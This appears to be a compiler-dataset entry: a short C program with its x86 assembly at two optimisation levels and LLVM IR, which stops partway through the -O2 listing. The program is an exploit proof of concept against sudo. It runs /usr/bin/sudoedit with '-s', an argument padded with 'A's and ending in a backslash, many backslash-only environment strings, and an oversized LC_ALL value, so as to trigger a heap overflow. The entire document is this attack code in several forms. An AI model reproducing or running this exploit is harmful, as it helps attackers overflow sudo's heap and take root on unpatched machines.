#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
char *concat(char *, char *);
int /*<<< orphan*/ execve(char *, char **, char **);
int /*<<< orphan*/ exit(int);
int /*<<< orphan*/ puts(char *);
char *str_repeat(char, int);
int main() {
  char *env[] = {
      "\\", "\\", "\\", "\\",  "\\",
      "\\", "\\", "\\", "\\",  "\\",
      "\\", "\\", "\\", "\\",  "\\",
      "\\", "\\", "\\", "\\",  "\\",
      "\\", "\\", "\\", "\\",  "\\",
      "\\", "\\", "\\", "\\",  "\\",
      "\\", "\\", "\\", "\\",  "\\",
      "\\", "\\", "\\", "\\",  "\\",
      "\\", "\\", "\\", "\\",  "\\",
      "\\", "\\", "\\", "\\",  "\\",
      "\\", "\\", "\\", "\\",  "\\",
      "\\", "\\", "\\", "\\",  "\\",
      "\\", "\\", "\\", "X/X", concat("LC_ALL=C.UTF-8@", str_repeat('A', 0xd0)),
      NULL};
  char *a = concat(str_repeat('A', 0x70), "\\");
  char *argv[] = {"/usr/bin/sudoedit", "-s", a, NULL};
  execve(argv[0], argv, env);
  puts("Execve failed");
  exit(1);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x250,%rsp
movl   $0x0,-0x4(%rbp)
lea    0xe97(%rip),%rax
mov    %rax,-0x220(%rbp)
lea    0xe89(%rip),%rax
mov    %rax,-0x218(%rbp)
lea    0xe7b(%rip),%rax
mov    %rax,-0x210(%rbp)
lea    0xe6d(%rip),%rax
mov    %rax,-0x208(%rbp)
lea    0xe5f(%rip),%rax
mov    %rax,-0x200(%rbp)
lea    0xe51(%rip),%rax
mov    %rax,-0x1f8(%rbp)
lea    0xe43(%rip),%rax
mov    %rax,-0x1f0(%rbp)
lea    0xe35(%rip),%rax
mov    %rax,-0x1e8(%rbp)
lea    0xe27(%rip),%rax
mov    %rax,-0x1e0(%rbp)
lea    0xe19(%rip),%rax
mov    %rax,-0x1d8(%rbp)
lea    0xe0b(%rip),%rax
mov    %rax,-0x1d0(%rbp)
lea    0xdfd(%rip),%rax
mov    %rax,-0x1c8(%rbp)
lea    0xdef(%rip),%rax
mov    %rax,-0x1c0(%rbp)
lea    0xde1(%rip),%rax
mov    %rax,-0x1b8(%rbp)
lea    0xdd3(%rip),%rax
mov    %rax,-0x1b0(%rbp)
lea    0xdc5(%rip),%rax
mov    %rax,-0x1a8(%rbp)
lea    0xdb7(%rip),%rax
mov    %rax,-0x1a0(%rbp)
lea    0xda9(%rip),%rax
mov    %rax,-0x198(%rbp)
lea    0xd9b(%rip),%rax
mov    %rax,-0x190(%rbp)
lea    0xd8d(%rip),%rax
mov    %rax,-0x188(%rbp)
lea    0xd7f(%rip),%rax
mov    %rax,-0x180(%rbp)
lea    0xd71(%rip),%rax
mov    %rax,-0x178(%rbp)
lea    0xd63(%rip),%rax
mov    %rax,-0x170(%rbp)
lea    0xd55(%rip),%rax
mov    %rax,-0x168(%rbp)
lea    0xd47(%rip),%rax
mov    %rax,-0x160(%rbp)
lea    0xd39(%rip),%rax
mov    %rax,-0x158(%rbp)
lea    0xd2b(%rip),%rax
mov    %rax,-0x150(%rbp)
lea    0xd1d(%rip),%rax
mov    %rax,-0x148(%rbp)
lea    0xd0f(%rip),%rax
mov    %rax,-0x140(%rbp)
lea    0xd01(%rip),%rax
mov    %rax,-0x138(%rbp)
lea    0xcf3(%rip),%rax
mov    %rax,-0x130(%rbp)
lea    0xce5(%rip),%rax
mov    %rax,-0x128(%rbp)
lea    0xcd7(%rip),%rax
mov    %rax,-0x120(%rbp)
lea    0xcc9(%rip),%rax
mov    %rax,-0x118(%rbp)
lea    0xcbb(%rip),%rax
mov    %rax,-0x110(%rbp)
lea    0xcad(%rip),%rax
mov    %rax,-0x108(%rbp)
lea    0xc9f(%rip),%rax
mov    %rax,-0x100(%rbp)
lea    0xc91(%rip),%rax
mov    %rax,-0xf8(%rbp)
lea    0xc83(%rip),%rax
mov    %rax,-0xf0(%rbp)
lea    0xc75(%rip),%rax
mov    %rax,-0xe8(%rbp)
lea    0xc67(%rip),%rax
mov    %rax,-0xe0(%rbp)
lea    0xc59(%rip),%rax
mov    %rax,-0xd8(%rbp)
lea    0xc4b(%rip),%rax
mov    %rax,-0xd0(%rbp)
lea    0xc3d(%rip),%rax
mov    %rax,-0xc8(%rbp)
lea    0xc2f(%rip),%rax
mov    %rax,-0xc0(%rbp)
lea    0xc21(%rip),%rax
mov    %rax,-0xb8(%rbp)
lea    0xc13(%rip),%rax
mov    %rax,-0xb0(%rbp)
lea    0xc05(%rip),%rax
mov    %rax,-0xa8(%rbp)
lea    0xbf7(%rip),%rax
mov    %rax,-0xa0(%rbp)
lea    0xbe9(%rip),%rax
mov    %rax,-0x98(%rbp)
lea    0xbdb(%rip),%rax
mov    %rax,-0x90(%rbp)
lea    0xbcd(%rip),%rax
mov    %rax,-0x88(%rbp)
lea    0xbbf(%rip),%rax
mov    %rax,-0x80(%rbp)
lea    0xbb4(%rip),%rax
mov    %rax,-0x78(%rbp)
lea    0xba9(%rip),%rax
mov    %rax,-0x70(%rbp)
lea    0xb9e(%rip),%rax
mov    %rax,-0x68(%rbp)
lea    0xb93(%rip),%rax
mov    %rax,-0x60(%rbp)
lea    0xb88(%rip),%rax
mov    %rax,-0x58(%rbp)
lea    0xb7d(%rip),%rax
mov    %rax,-0x50(%rbp)
lea    0xb72(%rip),%rax
mov    %rax,-0x48(%rbp)
lea    0xb67(%rip),%rax
mov    %rax,-0x40(%rbp)
lea    0xb5c(%rip),%rax
mov    %rax,-0x38(%rbp)
lea    0xb51(%rip),%rax
mov    %rax,-0x30(%rbp)
lea    0xb48(%rip),%rax
mov    %rax,-0x28(%rbp)
mov    $0x41,%edi
mov    $0xd0,%esi
call   1060 <str_repeat@plt>
mov    %rax,%rsi
lea    0xb2f(%rip),%rdi
call   1040 <concat@plt>
mov    %rax,-0x20(%rbp)
movq   $0x0,-0x18(%rbp)
mov    $0x41,%edi
mov    $0x70,%esi
call   1060 <str_repeat@plt>
mov    %rax,%rdi
lea    0xaff(%rip),%rsi
call   1040 <concat@plt>
mov    %rax,-0x228(%rbp)
lea    0xb02(%rip),%rax
mov    %rax,-0x250(%rbp)
lea    0xb06(%rip),%rax
mov    %rax,-0x248(%rbp)
mov    -0x228(%rbp),%rax
mov    %rax,-0x240(%rbp)
movq   $0x0,-0x238(%rbp)
mov    -0x250(%rbp),%rdi
lea    -0x250(%rbp),%rsi
lea    -0x220(%rbp),%rdx
call   1050 <execve@plt>
lea    0xac8(%rip),%rdi
call   1030 <puts@plt>
mov    $0x1,%edi
call   1070 <exit@plt>

x86 assembly (clang, -O2):
<main>:
push   %rbx
sub    $0x230,%rsp
lea    0xea1(%rip),%rbx
mov    %rbx,0x20(%rsp)
mov    %rbx,0x28(%rsp)
mov    %rbx,0x30(%rsp)
mov    %rbx,0x38(%rsp)
mov    %rbx,0x40(%rsp)
mov    %rbx,0x48(%rsp)
mov    %rbx,0x50(%rsp)
mov    %rbx,0x58(%rsp)
mov    %rbx,0x60(%rsp)
mov    %rbx,0x68(%rsp)
mov    %rbx,0x70(%rsp)
mov    %rbx,0x78(%rsp)
mov    %rbx,0x80(%rsp)
mov    %rbx,0x88(%rsp)
mov    %rbx,0x90(%rsp)
mov    %rbx,0x98(%rsp)
mov    %rbx,0xa0(%rsp)
mov    %rbx,0xa8(%rsp)
mov    %rbx,0xb0(%rsp)
mov    %rbx,0xb8(%rsp)
mov    %rbx,0xc0(%rsp)
mov    %rbx,0xc8(%rsp)
mov    %rbx,0xd0(%rsp)
mov    %rbx,0xd8(%rsp)
mov    %rbx,0xe0(%rsp)
mov    %rbx,0xe8(%rsp)
mov    %rbx,0xf0(%rsp)
mov    %rbx,0xf8(%rsp)
mov    %rbx,0x100(%rsp)
mov    %rbx,0x108(%rsp)
mov    %rbx,0x110(%rsp)
mov    %rbx,0x118(%rsp)
mov    %rbx,0x120(%rsp)
mov    %rbx,0x128(%rsp)
mov    %rbx,0x130(%rsp)
mov    %rbx,0x138(%rsp)
mov    %rbx,0x140(%rsp)
mov    %rbx,0x148(%rsp)
mov    %rbx,0x150(%rsp)
mov    %rbx,0x158(%rsp)
mov    %rbx,0x160(%rsp)
mov    %rbx,0x168(%rsp)
mov    %rbx,0x170(%rsp)
mov    %rbx,0x178(%rsp)
mov    %rbx,0x180(%rsp)
mov    %rbx,0x188(%rsp)
mov    %rbx,0x190(%rsp)
mov    %rbx,0x198(%rsp)
mov    %rbx,0x1a0(%rsp)
mov    %rbx,0x1a8(%rsp)
mov    %rbx,0x1b0(%rsp)
mov    %rbx,0x1b8(%rsp)
mov    %rbx,0x1c0(%rsp)
mov    %rbx,0x1c8(%rsp)
mov    %rbx,0x1d0(%rsp)
mov    %rbx,0x1d8(%rsp)
mov    %rbx,0x1e0(%rsp)
mov    %rbx,0x1e8(%rsp)
mov    %rbx,0x1f0(%rsp)
mov    %rbx,0x1f8(%rsp)
mov    %rbx,0x200(%rsp)
mov    %rbx,0x208(%rsp)
mov    %rbx,0x210(%rsp)
lea    0xcc8(%rip),%rax
mov    %rax,0x218(%rsp)
mov    $0x41,%edi
mov    $0xd0,%esi
call   1060 <str_repeat@plt>
lea    0xcae(%rip),%rdi
mov    %rax,%rsi
call   1040 <concat@plt>
mov    %rax,0x220(%rsp)
movq   $0x0,0x228(%rsp)
mov    $0x41,%edi
mov    $0x70,%esi
call   1060 <str_repeat@plt>
mov    %rax,%rdi
mov    %rbx,%rsi
call   1040 <concat@plt>
lea    0xc81(%rip),%rdi
mov    %rdi,(%rsp)
lea    0xc88(%rip),%rcx
mov    %rcx,0x8(%rsp)
mov    %rax,0x10(%rsp)
movq   $0x0,0x18(%rsp)
mov    %rsp,%rsi
lea    0x20(%rsp),%rdx
call   1050 <execve@plt>
lea    0xc64(%rip),%rdi
call   1030 <puts@plt>
mov    $0x1,%edi
call   1070 <exit@plt>

LLVM IR (-O0):
@.str = [2 x i8] c"\\\00"
@.str.1 = [4 x i8] c"X/X\00"
@.str.2 = [16 x i8] c"LC_ALL=C.UTF-8@\00"
@.str.3 = [18 x i8] c"/usr/bin/sudoedit\00"
@.str.4 = [3 x i8] c"-s\00"
@.str.5 = [14 x i8] c"Execve failed\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca [66 x i8*]
%3 = alloca i8*
%4 = alloca [4 x i8*]
store i32 0, i32* %1
%5 = getelementptr inbounds [66 x i8*], [66 x i8*]* %2, i64 0, i64 0
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %5
%6 = getelementptr inbounds i8*, i8** %5, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %6
%7 = getelementptr inbounds i8*, i8** %6, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %7
%8 = getelementptr inbounds i8*, i8** %7, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %8
%9 = getelementptr inbounds i8*, i8** %8, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %9
%10 = getelementptr inbounds i8*, i8** %9, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %10
%11 = getelementptr inbounds i8*, i8** %10, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %11
%12 = getelementptr inbounds i8*, i8** %11, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %12
%13 = getelementptr inbounds i8*, i8** %12, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %13
%14 = getelementptr inbounds i8*, i8** %13, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %14
%15 = getelementptr inbounds i8*, i8** %14, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %15
%16 = getelementptr inbounds i8*, i8** %15, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %16
%17 = getelementptr inbounds i8*, i8** %16, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %17
%18 = getelementptr inbounds i8*, i8** %17, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %18
%19 = getelementptr inbounds i8*, i8** %18, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %19
%20 = getelementptr inbounds i8*, i8** %19, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %20
%21 = getelementptr inbounds i8*, i8** %20, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %21
%22 = getelementptr inbounds i8*, i8** %21, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %22
%23 = getelementptr inbounds i8*, i8** %22, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %23
%24 = getelementptr inbounds i8*, i8** %23, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %24
%25 = getelementptr inbounds i8*, i8** %24, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %25
%26 = getelementptr inbounds i8*, i8** %25, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %26
%27 = getelementptr inbounds i8*, i8** %26, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %27
%28 = getelementptr inbounds i8*, i8** %27, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %28
%29 = getelementptr inbounds i8*, i8** %28, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %29
%30 = getelementptr inbounds i8*, i8** %29, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %30
%31 = getelementptr inbounds i8*, i8** %30, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %31
%32 = getelementptr inbounds i8*, i8** %31, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %32
%33 = getelementptr inbounds i8*, i8** %32, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %33
%34 = getelementptr inbounds i8*, i8** %33, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %34
%35 = getelementptr inbounds i8*, i8** %34, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %35
%36 = getelementptr inbounds i8*, i8** %35, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %36
%37 = getelementptr inbounds i8*, i8** %36, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %37
%38 = getelementptr inbounds i8*, i8** %37, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %38
%39 = getelementptr inbounds i8*, i8** %38, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %39
%40 = getelementptr inbounds i8*, i8** %39, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %40
%41 = getelementptr inbounds i8*, i8** %40, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %41
%42 = getelementptr inbounds i8*, i8** %41, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %42
%43 = getelementptr inbounds i8*, i8** %42, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %43
%44 = getelementptr inbounds i8*, i8** %43, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %44
%45 = getelementptr inbounds i8*, i8** %44, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %45
%46 = getelementptr inbounds i8*, i8** %45, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %46
%47 = getelementptr inbounds i8*, i8** %46, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %47
%48 = getelementptr inbounds i8*, i8** %47, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %48
%49 = getelementptr inbounds i8*, i8** %48, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %49
%50 = getelementptr inbounds i8*, i8** %49, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %50
%51 = getelementptr inbounds i8*, i8** %50, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %51
%52 = getelementptr inbounds i8*, i8** %51, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %52
%53 = getelementptr inbounds i8*, i8** %52, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %53
%54 = getelementptr inbounds i8*, i8** %53, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %54
%55 = getelementptr inbounds i8*, i8** %54, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %55
%56 = getelementptr inbounds i8*, i8** %55, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %56
%57 = getelementptr inbounds i8*, i8** %56, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %57
%58 = getelementptr inbounds i8*, i8** %57, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %58
%59 = getelementptr inbounds i8*, i8** %58, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %59
%60 = getelementptr inbounds i8*, i8** %59, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %60
%61 = getelementptr inbounds i8*, i8** %60, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %61
%62 = getelementptr inbounds i8*, i8** %61, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %62
%63 = getelementptr inbounds i8*, i8** %62, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %63
%64 = getelementptr inbounds i8*, i8** %63, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %64
%65 = getelementptr inbounds i8*, i8** %64, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %65
%66 = getelementptr inbounds i8*, i8** %65, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %66
%67 = getelementptr inbounds i8*, i8** %66, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %67
%68 = getelementptr inbounds i8*, i8** %67, i64 1
store i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.1, i64 0, i64 0), i8** %68
%69 = getelementptr inbounds i8*, i8** %68, i64 1
%70 = call i8* @str_repeat(i8 signext 65, i32 208)
%71 = call i8* @concat(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.2, i64 0, i64 0), i8* %70)
store i8* %71, i8** %69
%72 = getelementptr inbounds i8*, i8** %69, i64 1
store i8* null, i8** %72
%73 = call i8* @str_repeat(i8 signext 65, i32 112)
%74 = call i8* @concat(i8* %73, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0))
store i8* %74, i8** %3
%75 = getelementptr inbounds [4 x i8*], [4 x i8*]* %4, i64 0, i64 0
store i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str.3, i64 0, i64 0), i8** %75
%76 = getelementptr inbounds i8*, i8** %75, i64 1
store i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.4, i64 0, i64 0), i8** %76
%77 = getelementptr inbounds i8*, i8** %76, i64 1
%78 = load i8*, i8** %3
store i8* %78, i8** %77
%79 = getelementptr inbounds i8*, i8** %77, i64 1
store i8* null, i8** %79
%80 = getelementptr inbounds [4 x i8*], [4 x i8*]* %4, i64 0, i64 0
%81 = load i8*, i8** %80
%82 = getelementptr inbounds [4 x i8*], [4 x i8*]* %4, i64 0, i64 0
%83 = getelementptr inbounds [66 x i8*], [66 x i8*]* %2, i64 0, i64 0
%84 = call i32 @execve(i8* %81, i8** %82, i8** %83)
%85 = call i32 @puts(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.5, i64 0, i64 0))
%86 = call i32 @exit(i32 1)
unreachable
}

LLVM IR (-O2):
@.str = [2 x i8] c"\\\00"
@.str.1 = [4 x i8] c"X/X\00"
@.str.2 = [16 x i8] c"LC_ALL=C.UTF-8@\00"
@.str.3 = [18 x i8] c"/usr/bin/sudoedit\00"
@.str.4 = [3 x i8] c"-s\00"
@.str.5 = [14 x i8] c"Execve failed\00"
define i32 @main() {
%1 = alloca [66 x i8*]
%2 = alloca [4 x i8*]
%3 = bitcast [66 x i8*]* %1 to i8*
%4 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 0
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %4
%5 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 1
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %5
%6 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 2
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %6
%7 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 3
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %7
%8 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 4
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %8
%9 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 5
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %9
%10 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 6
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %10
%11 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 7
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %11
%12 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 8
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %12
%13 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 9
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %13
%14 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 10
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %14
%15 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 11
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %15
%16 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 12
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %16
%17 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 13
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %17
%18 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 14
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %18
%19 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 15
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %19
%20 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 16
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %20
%21 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 17
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %21
%22 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 18
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %22
%23 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 19
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %23
%24 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 20
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %24
%25 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 21
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %25
%26 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 22
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %26
%27 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 23
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %27
%28 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 24
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %28
%29 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 25
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %29
%30 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 26
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %30
%31 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 27
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %31
%32 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 28
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %32
%33 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 29
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %33
%34 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 30
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %34
%35 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 31
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %35
%36 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 32
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %36
%37 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 33
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %37
%38 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 34
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %38
%39 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 35
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %39
%40 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 36
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %40
%41 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 37
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %41
%42 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 38
store i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i8** %42
%43 = getelementptr inbounds [66 x i8*], [66 x i8*]* %1, i64 0, i64 39
